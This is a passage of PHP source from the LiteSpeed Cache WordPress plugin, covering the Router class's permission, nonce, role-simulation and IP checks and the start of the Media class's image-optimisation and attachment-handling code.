		if (defined('LITESPEED_CLI') || wp_doing_cron()) {
			Admin_Display::success('To be continued'); // Show for CLI
			return;
		}

		// Add i to avoid browser too many redirected warning
		$i = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		++$i;

		$link = Utility::build_url($action, $type, false, null, array( 'litespeed_i' => $i ));

		$url = html_entity_decode($link);
		exit("<meta http-equiv='refresh' content='0;url=$url'>");
	}

	/**
	 * Check if can run optimize
	 *
	 * @since  1.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public function can_optm() {
		$can = true;

		if (is_user_logged_in() && $this->conf(self::O_OPTM_GUEST_ONLY)) {
			$can = false;
		} elseif (is_admin()) {
			$can = false;
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		} elseif (self::is_ajax()) {
			$can = false;
		}

		if (self::_is_login_page()) {
			Debug2::debug('[Router] Optm bypassed: login/reg page');
			$can = false;
		}

		$can_final = apply_filters('litespeed_can_optm', $can);

		if ($can_final != $can) {
			Debug2::debug('[Router] Optm bypassed: filter');
		}

		return $can_final;
	}

	/**
	 * Check referer page to see if its from admin
	 *
	 * @since 2.4.2.1
	 * @access public
	 */
	public static function from_admin() {
		return !empty($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], get_admin_url()) === 0;
	}

	/**
	 * Check if it can use CDN replacement
	 *
	 * @since  1.2.3
	 * @since  2.3.1 Relocated from cdn.cls
	 * @access public
	 */
	public static function can_cdn() {
		$can = true;

		if (is_admin()) {
			if (!self::is_ajax()) {
				Debug2::debug2('[Router] CDN bypassed: is not ajax call');
				$can = false;
			}

			if (self::from_admin()) {
				Debug2::debug2('[Router] CDN bypassed: ajax call from admin');
				$can = false;
			}
		} elseif (is_feed()) {
			$can = false;
		} elseif (is_preview()) {
			$can = false;
		}

		/**
		 * Bypass cron to avoid deregister jq notice `Do not deregister the <code>jquery-core</code> script in the administration area.`
		 *
		 * @since  2.7.2
		 */
		if (wp_doing_cron()) {
			$can = false;
		}

		/**
		 * Bypass login/reg page
		 *
		 * @since  1.6
		 */
		if (self::_is_login_page()) {
			Debug2::debug('[Router] CDN bypassed: login/reg page');
			$can = false;
		}

		/**
		 * Bypass post/page link setting
		 *
		 * @since 2.9.8.5
		 */
		$rest_prefix = function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json');
		if (
			!empty($_SERVER['REQUEST_URI']) &&
			strpos($_SERVER['REQUEST_URI'], $rest_prefix . '/wp/v2/media') !== false &&
			isset($_SERVER['HTTP_REFERER']) &&
			strpos($_SERVER['HTTP_REFERER'], 'wp-admin') !== false
		) {
			Debug2::debug('[Router] CDN bypassed: wp-json on admin page');
			$can = false;
		}

		$can_final = apply_filters('litespeed_can_cdn', $can);

		if ($can_final != $can) {
			Debug2::debug('[Router] CDN bypassed: filter');
		}

		return $can_final;
	}

	/**
	 * Check if is login page or not
	 *
	 * @since  2.3.1
	 * @access protected
	 */
	protected static function _is_login_page() {
		if (in_array($GLOBALS['pagenow'], array( 'wp-login.php', 'wp-register.php' ), true)) {
			return true;
		}

		return false;
	}

	/**
	 * UCSS/Crawler role simulator
	 *
	 * @since  1.9.1
	 * @since  3.3 Renamed from `is_crawler_role_simulation`
	 */
	public function is_role_simulation() {
		if (is_admin()) {
			return;
		}

		if (empty($_COOKIE['litespeed_hash']) && empty($_COOKIE['litespeed_flash_hash'])) {
			return;
		}

		self::debug('🪪 starting role validation');

		// Check if is from crawler
		// if ( empty( $_SERVER[ 'HTTP_USER_AGENT' ] ) || strpos( $_SERVER[ 'HTTP_USER_AGENT' ], Crawler::FAST_USER_AGENT ) !== 0 ) {
		// Debug2::debug( '[Router] user agent not match' );
		// return;
		// }
		$server_ip = $this->conf(self::O_SERVER_IP);
		if (!$server_ip || self::get_ip() !== $server_ip) {
			self::debug('❌❌ Role simulate uid denied! Not localhost visit!');
			Control::set_nocache('Role simulate uid denied');
			return;
		}

		// Flash hash validation
		if (!empty($_COOKIE['litespeed_flash_hash'])) {
			$hash_data = self::get_option(self::ITEM_FLASH_HASH, array());
			if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) {
				if (time() - $hash_data['ts'] < 120 && $_COOKIE['litespeed_flash_hash'] == $hash_data['hash']) {
					self::debug('🪪 Role simulator flash hash matched, escalating user to be uid=' . $hash_data['uid']);
					self::delete_option(self::ITEM_FLASH_HASH);
					wp_set_current_user($hash_data['uid']);
					return;
				}
			}
		}
		// Hash validation
		if (!empty($_COOKIE['litespeed_hash'])) {
			$hash_data = self::get_option(self::ITEM_HASH, array());
			if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) {
				$RUN_DURATION = $this->cls('Crawler')->get_crawler_duration();
				if (time() - $hash_data['ts'] < $RUN_DURATION && $_COOKIE['litespeed_hash'] == $hash_data['hash']) {
					self::debug('🪪 Role simulator hash matched, escalating user to be uid=' . $hash_data['uid']);
					wp_set_current_user($hash_data['uid']);
					return;
				}
			}
		}

		self::debug('❌ WARNING: role simulator hash not match');
	}

	/**
	 * Get a short ttl hash (2mins)
	 *
	 * @since  6.4
	 */
	public function get_flash_hash( $uid ) {
		$hash_data = self::get_option(self::ITEM_FLASH_HASH, array());
		if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts'])) {
			if (time() - $hash_data['ts'] < 60) {
				return $hash_data['hash'];
			}
		}

		// Check if this user has editor access or not
		if (user_can($uid, 'edit_posts')) {
			self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.');
			return '';
		}

		$hash = Str::rrand(32);
		self::update_option(self::ITEM_FLASH_HASH, array(
			'hash' => $hash,
			'ts' => time(),
			'uid' => $uid,
		));
		return $hash;
	}

	/**
	 * Get a security hash
	 *
	 * @since  3.3
	 */
	public function get_hash( $uid ) {
		// Check if this user has editor access or not
		if (user_can($uid, 'edit_posts')) {
			self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.');
			return '';
		}

		// As this is called only when starting crawling, not per page, no need to reuse
		$hash = Str::rrand(32);
		self::update_option(self::ITEM_HASH, array(
			'hash' => $hash,
			'ts' => time(),
			'uid' => $uid,
		));
		return $hash;
	}

	/**
	 * Get user role
	 *
	 * @since  1.6.2
	 */
	public static function get_role( $uid = null ) {
		if (defined('LITESPEED_WP_ROLE')) {
			return LITESPEED_WP_ROLE;
		}

		if ($uid === null) {
			$uid = get_current_user_id();
		}

		$role = false;
		if ($uid) {
			$user = get_userdata($uid);
			if (isset($user->roles) && is_array($user->roles)) {
				$tmp  = array_values($user->roles);
				$role = implode(',', $tmp); // Combine for PHP5.3 const compatibility
			}
		}
		Debug2::debug('[Router] get_role: ' . $role);

		if (!$role) {
			return $role;
			// Guest user
			Debug2::debug('[Router] role: guest');

			/**
			 * Fix double login issue
			 * The previous user init refactoring didn't fix this bcos this is in login process and the user role could change
			 *
			 * @see  https://github.com/litespeedtech/lscache_wp/commit/69e7bc71d0de5cd58961bae953380b581abdc088
			 * @since  2.9.8 Won't assign const if in login process
			 */
			if (substr_compare(wp_login_url(), $GLOBALS['pagenow'], -strlen($GLOBALS['pagenow'])) === 0) {
				return $role;
			}
		}

		define('LITESPEED_WP_ROLE', $role);

		return LITESPEED_WP_ROLE;
	}

	/**
	 * Get frontend path
	 *
	 * @since 1.2.2
	 * @access public
	 * @return boolean
	 */
	public static function frontend_path() {
		// todo: move to htaccess.cls ?
		if (!isset(self::$_frontend_path)) {
			$frontend = rtrim(ABSPATH, '/'); // /home/user/public_html/frontend
			// get home path failed. Trac ticket #37668 (e.g. frontend:/blog backend:/wordpress)
			if (!$frontend) {
				Debug2::debug('[Router] No ABSPATH, generating from home option');
				$frontend = parse_url(get_option('home'));
				$frontend = !empty($frontend['path']) ? $frontend['path'] : '';
				$frontend = $_SERVER['DOCUMENT_ROOT'] . $frontend;
			}
			$frontend = realpath($frontend);

			self::$_frontend_path = $frontend;
		}
		return self::$_frontend_path;
	}

	/**
	 * Check if ESI is enabled or not
	 *
	 * @since 1.2.0
	 * @access public
	 * @return boolean
	 */
	public function esi_enabled() {
		if (!isset(self::$_esi_enabled)) {
			self::$_esi_enabled = defined('LITESPEED_ON') && $this->conf(self::O_ESI);
			if (!empty($_REQUEST[self::ACTION])) {
				self::$_esi_enabled = false;
			}
		}
		return self::$_esi_enabled;
	}

	/**
	 * Check if crawler is enabled on server level
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function can_crawl() {
		if (isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'crawler') === false) {
			return false;
		}

		// CLI will bypass this check as crawler library can always do the 428 check
		if (defined('LITESPEED_CLI')) {
			return true;
		}

		return true;
	}

	/**
	 * Check action
	 *
	 * @since 1.1.0
	 * @access public
	 * @return string
	 */
	public static function get_action() {
		if (!isset(self::$_action)) {
			self::$_action = false;
			self::cls()->verify_action();
			if (self::$_action) {
				defined('LSCWP_LOG') && Debug2::debug('[Router] LSCWP_CTRL verified: ' . var_export(self::$_action, true));
			}
		}
		return self::$_action;
	}

	/**
	 * Check if is logged in
	 *
	 * @since 1.1.3
	 * @access public
	 * @return boolean
	 */
	public static function is_logged_in() {
		if (!isset(self::$_is_logged_in)) {
			self::$_is_logged_in = is_user_logged_in();
		}
		return self::$_is_logged_in;
	}

	/**
	 * Check if is ajax call
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public static function is_ajax() {
		if (!isset(self::$_is_ajax)) {
			self::$_is_ajax = wp_doing_ajax();
		}
		return self::$_is_ajax;
	}

	/**
	 * Check if is admin ip
	 *
	 * @since 1.1.0
	 * @access public
	 * @return boolean
	 */
	public function is_admin_ip() {
		if (!isset(self::$_is_admin_ip)) {
			$ips = $this->conf(self::O_DEBUG_IPS);

			self::$_is_admin_ip = $this->ip_access($ips);
		}
		return self::$_is_admin_ip;
	}

	/**
	 * Get type value
	 *
	 * @since 1.6
	 * @access public
	 */
	public static function verify_type() {
		if (empty($_REQUEST[self::TYPE])) {
			Debug2::debug('[Router] no type', 2);
			return false;
		}

		Debug2::debug('[Router] parsed type: ' . $_REQUEST[self::TYPE], 2);

		return $_REQUEST[self::TYPE];
	}

	/**
	 * Check privilege and nonce for the action
	 *
	 * @since 1.1.0
	 * @access private
	 */
	private function verify_action() {
		if (empty($_REQUEST[self::ACTION])) {
			Debug2::debug2('[Router] LSCWP_CTRL bypassed empty');
			return;
		}

		$action = stripslashes($_REQUEST[self::ACTION]);

		if (!$action) {
			return;
		}

		$_is_public_action = false;

		// Each action must have a valid nonce unless its from admin ip and is public action
		// Validate requests nonce (from admin logged in page or cli)
		if (!$this->verify_nonce($action)) {
			// check if it is from admin ip
			if (!$this->is_admin_ip()) {
				Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP: ' . $action);
				return;
			}

			// check if it is public action
			if (
				!in_array($action, array(
					Core::ACTION_QS_NOCACHE,
					Core::ACTION_QS_PURGE,
					Core::ACTION_QS_PURGE_SINGLE,
					Core::ACTION_QS_SHOW_HEADERS,
					Core::ACTION_QS_PURGE_ALL,
					Core::ACTION_QS_PURGE_EMPTYCACHE,
				))
			) {
				Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP Actions: ' . $action);
				return;
			}

			if (apply_filters('litespeed_qs_forbidden', false)) {
				Debug2::debug('[Router] LSCWP_CTRL forbidden by hook litespeed_qs_forbidden');
				return;
			}

			$_is_public_action = true;
		}

		/* Now it is a valid action, lets log and check the permission */
		Debug2::debug('[Router] LSCWP_CTRL: ' . $action);

		// OK, as we want to do something magic, lets check if its allowed
		$_is_multisite       = is_multisite();
		$_is_network_admin   = $_is_multisite && is_network_admin();
		$_can_network_option = $_is_network_admin && current_user_can('manage_network_options');
		$_can_option         = current_user_can('manage_options');

		switch ($action) {
			case self::ACTION_TMP_DISABLE: // Disable LSC for 24H
				Debug2::tmp_disable();
				Admin::redirect("?page=litespeed-toolbox#settings-debug");
				return;

			case self::ACTION_SAVE_SETTINGS_NETWORK: // Save network settings
            if ($_can_network_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_BY:
            if (defined('LITESPEED_ON') && ($_can_network_option || $_can_option || self::is_ajax())) {
					// here may need more security
					self::$_action = $action;
				}
				return;

			case self::ACTION_DB_OPTM:
            if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_PURGE_EMPTYCACHE: // todo: moved to purge.cls type action
            if ((defined('LITESPEED_ON') || $_is_network_admin) && ($_can_network_option || (!$_is_multisite && $_can_option))) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_QS_NOCACHE:
			case Core::ACTION_QS_PURGE:
			case Core::ACTION_QS_PURGE_SINGLE:
			case Core::ACTION_QS_SHOW_HEADERS:
			case Core::ACTION_QS_PURGE_ALL:
			case Core::ACTION_QS_PURGE_EMPTYCACHE:
            if (defined('LITESPEED_ON') && ($_is_public_action || self::is_ajax())) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_ADMIN_DISPLAY:
			case self::ACTION_PLACEHOLDER:
			case self::ACTION_AVATAR:
			case self::ACTION_IMG_OPTM:
			case self::ACTION_CLOUD:
			case self::ACTION_CDN_CLOUDFLARE:
			case self::ACTION_CRAWLER:
			case self::ACTION_PRESET:
			case self::ACTION_IMPORT:
			case self::ACTION_REPORT:
			case self::ACTION_CSS:
			case self::ACTION_UCSS:
			case self::ACTION_VPI:
			case self::ACTION_CONF:
			case self::ACTION_ACTIVATION:
			case self::ACTION_HEALTH:
			case self::ACTION_SAVE_SETTINGS: // Save settings
            if ($_can_option && !$_is_network_admin) {
					self::$_action = $action;
				}
				return;

			case self::ACTION_PURGE:
			case self::ACTION_DEBUG2:
            if ($_can_network_option || $_can_option) {
					self::$_action = $action;
				}
				return;

			case Core::ACTION_DISMISS:
            /**
             * Non ajax call can dismiss too
             *
             * @since  2.9
             */
            // if ( self::is_ajax() ) {
            self::$_action = $action;
            // }
				return;

			default:
            Debug2::debug('[Router] LSCWP_CTRL match failed: ' . $action);
				return;
		}
	}

	/**
	 * Verify nonce
	 *
	 * @since 1.1.0
	 * @access public
	 * @param  string $action
	 * @return bool
	 */
	public function verify_nonce( $action ) {
		if (!isset($_REQUEST[self::NONCE]) || !wp_verify_nonce($_REQUEST[self::NONCE], $action)) {
			return false;
		} else {
			return true;
		}
	}

	/**
	 * Check if the ip is in the range
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function ip_access( $ip_list ) {
		if (!$ip_list) {
			return false;
		}
		if (!isset(self::$_ip)) {
			self::$_ip = self::get_ip();
		}

		if (!self::$_ip) {
			return false;
		}
		// $uip = explode('.', $_ip);
		// if(empty($uip) || count($uip) != 4) Return false;
		// foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip));
		// foreach($ip_list as $key => $ip) {
		// if(count($ip) != 4) continue;
		// for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i];
		// }
		return in_array(self::$_ip, $ip_list);
	}

	/**
	 * Get client ip
	 *
	 * @since 1.1.0
	 * @since  1.6.5 changed to public
	 * @access public
	 * @return string
	 */
	public static function get_ip() {
		$_ip = '';
		// if ( function_exists( 'apache_request_headers' ) ) {
		// $apache_headers = apache_request_headers();
		// $_ip = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false;
		// if ( ! $_ip ) {
		// $_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false;
		// $_ip = explode( ',', $_ip );
		// $_ip = $_ip[ 0 ];
		// }

		// }

		if (!$_ip) {
			$_ip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : false;
		}
		return $_ip;
	}

	/**
	 * Check if opcode cache is enabled
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public static function opcache_enabled() {
		return function_exists('opcache_reset') && ini_get('opcache.enable');
	}

	/**
	 * Check if opcode cache is restricted and file that is requesting.
	 * https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.restrict-api
	 *
	 * @since  7.3
	 * @access public
	 */
	public static function opcache_restricted($file)
	{
		$restrict_value = ini_get('opcache.restrict_api');
		if ($restrict_value) {
			if ( !$file || false === strpos($restrict_value, $file) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Handle static files
	 *
	 * @since  3.0
	 */
	public function serve_static() {
		if (!empty($_SERVER['SCRIPT_URI'])) {
			if (strpos($_SERVER['SCRIPT_URI'], LITESPEED_STATIC_URL . '/') !== 0) {
				return;
			}
			$path = substr($_SERVER['SCRIPT_URI'], strlen(LITESPEED_STATIC_URL . '/'));
		} elseif (!empty($_SERVER['REQUEST_URI'])) {
			$static_path = parse_url(LITESPEED_STATIC_URL, PHP_URL_PATH) . '/';
			if (strpos($_SERVER['REQUEST_URI'], $static_path) !== 0) {
				return;
			}
			$path = substr(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), strlen($static_path));
		} else {
			return;
		}

		$path = explode('/', $path, 2);

		if (empty($path[0]) || empty($path[1])) {
			return;
		}

		switch ($path[0]) {
			case 'avatar':
            $this->cls('Avatar')->serve_static($path[1]);
				break;

			case 'localres':
            $this->cls('Localization')->serve_static($path[1]);
				break;

			default:
				break;
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * This is different than other handlers
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler( $cls ) {
		if (!in_array($cls, self::$_HANDLERS)) {
			return;
		}

		return $this->cls($cls)->handler();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/media.cls.php000064400000106352151031165260017435 0ustar00<?php
// phpcs:ignoreFile

/**
 * The class to operate media data.
 *
 * @since       1.4
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Media extends Root {

	const LOG_TAG = '📺';

	const LIB_FILE_IMG_LAZYLOAD = 'assets/js/lazyload.min.js';

	private $content;
	private $_wp_upload_dir;
	private $_vpi_preload_list = array();
	private $_format           = '';
	private $_sys_format       = '';

	/**
	 * Init
	 *
	 * @since  1.4
	 */
	public function __construct() {
		Debug2::debug2('[Media] init');

		$this->_wp_upload_dir = wp_upload_dir();
		if ($this->conf(Base::O_IMG_OPTM_WEBP)) {
			$this->_sys_format = 'webp';
			$this->_format     = 'webp';
			if ($this->conf(Base::O_IMG_OPTM_WEBP) == 2) {
				$this->_sys_format = 'avif';
				$this->_format     = 'avif';
			}
			if (!$this->_browser_support_next_gen()) {
				$this->_format = '';
			}
			$this->_format = apply_filters('litespeed_next_gen_format', $this->_format);
		}
	}

	/**
	 * Hooks after user init
	 *
	 * @since 7.2
	 * @since 7.4 Add media replace original with scaled.
	 */
	public function after_user_init() {
		// Hook to attachment delete action (PR#844, Issue#841) for AJAX del compatibility
		add_action('delete_attachment', array( $this, 'delete_attachment' ), 11, 2);

		// For big images, allow to replace original with scaled image.
		if( $this->conf(Base::O_MEDIA_AUTO_RESCALE_ORI) ){
			// Added priority 9 to happen before other functions added.
			add_filter('wp_update_attachment_metadata', array( $this, 'rescale_ori' ), 9, 2);
		}
	}

	/**
	 * Init optm features
	 *
	 * @since  3.0
	 * @access public
	 */
	public function init() {
		if (is_admin()) {
			return;
		}

		// Due to ajax call doesn't send correct accept header, have to limit webp to HTML only
		if ($this->webp_support()) {
			// Hook to srcset
			if (function_exists('wp_calculate_image_srcset')) {
				add_filter('wp_calculate_image_srcset', array( $this, 'webp_srcset' ), 988);
			}
			// Hook to mime icon
			// add_filter( 'wp_get_attachment_image_src', array( $this, 'webp_attach_img_src' ), 988 );// todo: need to check why not
			// add_filter( 'wp_get_attachment_url', array( $this, 'webp_url' ), 988 ); // disabled to avoid wp-admin display
		}

		if ($this->conf(Base::O_MEDIA_LAZY) && !$this->cls('Metabox')->setting('litespeed_no_image_lazy')) {
			self::debug('Suppress default WP lazyload');
			add_filter('wp_lazy_loading_enabled', '__return_false');
		}

		/**
		 * Replace gravatar
		 *
		 * @since  3.0
		 */
		$this->cls('Avatar');

		add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 4);

		add_filter('litespeed_optm_html_head', array( $this, 'finalize_head' ));
	}

	/**
	 * Handle attachment create
	 *
	 * @param array $metadata Current meta array.
	 * @param int $attachment_id Attachment ID.
	 * @return array $metadata
	 * @since  7.4
	 */
	public function rescale_ori( $metadata, $attachment_id ) {
		// Test if create and image was resized.
		if( $metadata && isset($metadata['original_image']) && isset($metadata['file']) && false !== strstr($metadata['file'], '-scaled')){
			// Get rescaled file name.
			$path_exploded      = explode( '/', strrev($metadata['file']), 2 );
			$rescaled_file_name = strrev($path_exploded[0]);

			// Create paths for images: resized and original.
			$base_path     = $this->_wp_upload_dir['basedir'] . $this->_wp_upload_dir['subdir'] . '/';
			$rescaled_path = $base_path . $rescaled_file_name;
			$new_path      = $base_path . $metadata['original_image'];

			// Change array file key.
			$metadata['file'] = $this->_wp_upload_dir['subdir'] . '/' . $metadata['original_image'];
			if( 0 === strpos( $metadata['file'], '/' ) ){
				$metadata['file'] = substr( $metadata['file'], 1 );
			}

			// Delete array "original_image" key.
			unset($metadata['original_image']);

			if( file_exists( $rescaled_path ) && file_exists( $new_path ) ){
				// Move rescaled to original.
				rename( $rescaled_path, $new_path );

				// Update meta "_wp_attached_file".
				update_post_meta( $attachment_id, '_wp_attached_file', $metadata['file'] );
			}
		}

		return $metadata;
	}

	/**
	 * Add featured image to head
	 */
	public function finalize_head( $content ) {
		global $wp_query;

		// <link rel="preload" as="image" href="xx">
		if ($this->_vpi_preload_list) {
			foreach ($this->_vpi_preload_list as $v) {
				$content .= '<link rel="preload" as="image" href="' . Str::trim_quotes($v) . '">';
			}
		}
		// $featured_image_url = get_the_post_thumbnail_url();
		// if ($featured_image_url) {
		// self::debug('Append featured image to head: ' . $featured_image_url);
		// if ($this->webp_support()) {
		// $featured_image_url = $this->replace_webp($featured_image_url) ?: $featured_image_url;
		// }
		// }
		// }

		return $content;
	}

	/**
	 * Adjust WP default JPG quality
	 *
	 * @since  3.0
	 * @access public
	 */
	public function adjust_jpg_quality( $quality ) {
		$v = $this->conf(Base::O_IMG_OPTM_JPG_QUALITY);

		if ($v) {
			return $v;
		}

		return $quality;
	}

	/**
	 * Register admin menu
	 *
	 * @since 1.6.3
	 * @access public
	 */
	public function after_admin_init() {
		/**
		 * JPG quality control
		 *
		 * @since  3.0
		 */
		add_filter('jpeg_quality', array( $this, 'adjust_jpg_quality' ));

		add_filter('manage_media_columns', array( $this, 'media_row_title' ));
		add_filter('manage_media_custom_column', array( $this, 'media_row_actions' ), 10, 2);

		add_action('litespeed_media_row', array( $this, 'media_row_con' ));
	}

	/**
	 * Media delete action hook
	 *
	 * @since 2.4.3
	 * @access public
	 */
	public static function delete_attachment( $post_id ) {
		// if (!Data::cls()->tb_exist('img_optm')) {
		// return;
		// }

		self::debug('delete_attachment [pid] ' . $post_id);
		Img_Optm::cls()->reset_row($post_id);
	}

	/**
	 * Return media file info if exists
	 *
	 * This is for remote attachment plugins
	 *
	 * @since 2.9.8
	 * @access public
	 */
	public function info( $short_file_path, $post_id ) {
		$short_file_path = wp_normalize_path($short_file_path);
		$basedir         = $this->_wp_upload_dir['basedir'] . '/';
		if (strpos($short_file_path, $basedir) === 0) {
			$short_file_path = substr($short_file_path, strlen($basedir));
		}

		$real_file = $basedir . $short_file_path;

		if (file_exists($real_file)) {
			return array(
				'url' => $this->_wp_upload_dir['baseurl'] . '/' . $short_file_path,
				'md5' => md5_file($real_file),
				'size' => filesize($real_file),
			);
		}

		/**
		 * WP Stateless compatibility #143 https://github.com/litespeedtech/lscache_wp/issues/143
		 *
		 * @since 2.9.8
		 * Should return array( 'url', 'md5', 'size' )
		 */
		$info = apply_filters('litespeed_media_info', array(), $short_file_path, $post_id);
		if (!empty($info['url']) && !empty($info['md5']) && !empty($info['size'])) {
			return $info;
		}

		return false;
	}

	/**
	 * Delete media file
	 *
	 * @since 2.9.8
	 * @access public
	 */
	public function del( $short_file_path, $post_id ) {
		$real_file = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path;

		if (file_exists($real_file)) {
			unlink($real_file);
			self::debug('deleted ' . $real_file);
		}

		do_action('litespeed_media_del', $short_file_path, $post_id);
	}

	/**
	 * Rename media file
	 *
	 * @since 2.9.8
	 * @access public
	 */
	public function rename( $short_file_path, $short_file_path_new, $post_id ) {
		// self::debug('renaming ' . $short_file_path . ' -> ' . $short_file_path_new);
		$real_file     = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path;
		$real_file_new = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path_new;

		if (file_exists($real_file)) {
			rename($real_file, $real_file_new);
			self::debug('renamed ' . $real_file . ' to ' . $real_file_new);
		}

		do_action('litespeed_media_rename', $short_file_path, $short_file_path_new, $post_id);
	}

	/**
	 * Media Admin Menu -> Image Optimization Column Title
	 *
	 * @since 1.6.3
	 * @access public
	 */
	public function media_row_title( $posts_columns ) {
		$posts_columns['imgoptm'] = __('LiteSpeed Optimization', 'litespeed-cache');

		return $posts_columns;
	}

	/**
	 * Media Admin Menu -> Image Optimization Column
	 *
	 * @since 1.6.2
	 * @access public
	 */
	public function media_row_actions( $column_name, $post_id ) {
		if ($column_name !== 'imgoptm') {
			return;
		}

		do_action('litespeed_media_row', $post_id);
	}

	/**
	 * Display image optm info
	 *
	 * @since  3.0
	 */
	public function media_row_con( $post_id ) {
		$att_info = wp_get_attachment_metadata($post_id);
		if (empty($att_info['file'])) {
			return;
		}

		$short_path = $att_info['file'];

		$size_meta = get_post_meta($post_id, Img_Optm::DB_SIZE, true);

		echo '<p>';
		// Original image info
		if ($size_meta && !empty($size_meta['ori_saved'])) {
			$percent = ceil(($size_meta['ori_saved'] * 100) / $size_meta['ori_total']);

			$extension    = pathinfo($short_path, PATHINFO_EXTENSION);
			$bk_file      = substr($short_path, 0, -strlen($extension)) . 'bk.' . $extension;
			$bk_optm_file = substr($short_path, 0, -strlen($extension)) . 'bk.optm.' . $extension;

			$link = Utility::build_url(Router::ACTION_IMG_OPTM, 'orig' . $post_id);
			$desc = false;

			$cls = '';

			if ($this->info($bk_file, $post_id)) {
				$curr_status = __('(optm)', 'litespeed-cache');
				$desc        = __('Currently using optimized version of file.', 'litespeed-cache') . '&#10;' . __('Click to switch to original (unoptimized) version.', 'litespeed-cache');
			} elseif ($this->info($bk_optm_file, $post_id)) {
				$cls        .= ' litespeed-warning';
				$curr_status = __('(non-optm)', 'litespeed-cache');
				$desc        = __('Currently using original (unoptimized) version of file.', 'litespeed-cache') . '&#10;' . __('Click to switch to optimized version.', 'litespeed-cache');
			}

			echo GUI::pie_tiny(
				$percent,
				24,
				sprintf(__('Original file reduced by %1$s (%2$s)', 'litespeed-cache'), $percent . '%', Utility::real_size($size_meta['ori_saved'])),
				'left'
			);

			printf(__('Orig saved %s', 'litespeed-cache'), $percent . '%');

			if ($desc) {
				printf(' <a href="%1$s" class="litespeed-media-href %2$s" data-balloon-pos="left" data-balloon-break aria-label="%3$s">%4$s</a>', $link, $cls, $desc, $curr_status);
			} else {
				printf(
					' <span class="litespeed-desc" data-balloon-pos="left" data-balloon-break aria-label="%1$s">%2$s</span>',
					__('Using optimized version of file. ', 'litespeed-cache') . '&#10;' . __('No backup of original file exists.', 'litespeed-cache'),
					__('(optm)', 'litespeed-cache')
				);
			}
		} elseif ($size_meta && $size_meta['ori_saved'] === 0) {
			echo GUI::pie_tiny(0, 24, __('Congratulation! Your file was already optimized', 'litespeed-cache'), 'left');
			printf(__('Orig %s', 'litespeed-cache'), '<span class="litespeed-desc">' . __('(no savings)', 'litespeed-cache') . '</span>');
		} else {
			echo __('Orig', 'litespeed-cache') . '<span class="litespeed-left10">—</span>';
		}
		echo '</p>';

		echo '<p>';
		// WebP/AVIF info
		if ($size_meta && $this->webp_support(true) && !empty($size_meta[$this->_sys_format . '_saved'])) {
			$is_avif         = 'avif' === $this->_sys_format;
			$size_meta_saved = $size_meta[$this->_sys_format . '_saved'];
			$size_meta_total = $size_meta[$this->_sys_format . '_total'];

			$percent = ceil(($size_meta_saved * 100) / $size_meta_total);

			$link = Utility::build_url(Router::ACTION_IMG_OPTM, $this->_sys_format . $post_id);
			$desc = false;

			$cls = '';

			if ($this->info($short_path . '.' . $this->_sys_format, $post_id)) {
				$curr_status = __('(optm)', 'litespeed-cache');
				$desc        = $is_avif
					? __('Currently using optimized version of AVIF file.', 'litespeed-cache')
					: __('Currently using optimized version of WebP file.', 'litespeed-cache');
				$desc       .= '&#10;' . __('Click to switch to original (unoptimized) version.', 'litespeed-cache');
			} elseif ($this->info($short_path . '.optm.' . $this->_sys_format, $post_id)) {
				$cls        .= ' litespeed-warning';
				$curr_status = __('(non-optm)', 'litespeed-cache');
				$desc        = $is_avif
					? __('Currently using original (unoptimized) version of AVIF file.', 'litespeed-cache')
					: __('Currently using original (unoptimized) version of WebP file.', 'litespeed-cache');
				$desc       .= '&#10;' . __('Click to switch to optimized version.', 'litespeed-cache');
			}

			echo GUI::pie_tiny(
				$percent,
				24,
				sprintf(
					$is_avif ? __('AVIF file reduced by %1$s (%2$s)', 'litespeed-cache') : __('WebP file reduced by %1$s (%2$s)', 'litespeed-cache'),
					$percent . '%',
					Utility::real_size($size_meta_saved)
				),
				'left'
			);
			printf($is_avif ? __('AVIF saved %s', 'litespeed-cache') : __('WebP saved %s', 'litespeed-cache'), $percent . '%');

			if ($desc) {
